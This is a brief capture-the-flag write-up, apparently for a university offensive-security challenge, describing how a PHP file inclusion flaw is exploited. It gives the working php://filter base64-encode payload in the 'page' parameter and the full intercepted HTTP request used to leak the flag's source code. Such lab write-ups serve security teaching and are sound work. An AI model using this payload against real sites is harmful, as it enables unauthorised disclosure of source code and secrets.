

Inclusion

For this challenge, I used Burp Suite to try to exploit a PHP file inclusion vulnerability. If we look around the website, on the flag page, we can see “The flag is just above this line (in the source code at least)!”. Thus, we can conclude that we need to leak some source code. Furthermore, from the name of this challenge, we can conclude that the source code contains a PHP file inclusion vulnerability. When looking at burp suite, we can also see that there is a “page=flag”. Include supports PHP stream filter URLs. Thus, we can change “page=flag” to “page=php://filter/convert.base64-encode/resource=flag” to get a base64 encoding of the flag. Then, once we decode the outputted string, we get the flag. Thus, the challenge is solved.

I edited the following request intercepted in burp suite to get the flag:

The screenshot shows the Burp Suite interface with an intercepted HTTP request. The main pane displays the raw request text, and the right-hand pane shows the request details in a structured format.

Request Text (Raw):

```
1 GET /index.php?page=php://filter/convert.base64-encode/resource=flag HTTP/1.1
2 Host: offsec-chalbroker.osiris.cyber.nyu.edu:1243
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Cookie: CHALBROKER_USER_ID=aga8070
10 Connection: close
11
12
```

Request Headers:

Name	Value
Host	offsec-chalbroker.o...
Cache-Control	max-age=0
Upgrade-Insecure-R...	1
User-Agent	Mozilla/5.0 (Windo...
Accept	text/html,applicatio...
Accept-Encoding	gzip, deflate, br
Accept-Language	en-US,en;q=0.9
Cookie	CHALBROKER_USER...
Connection	close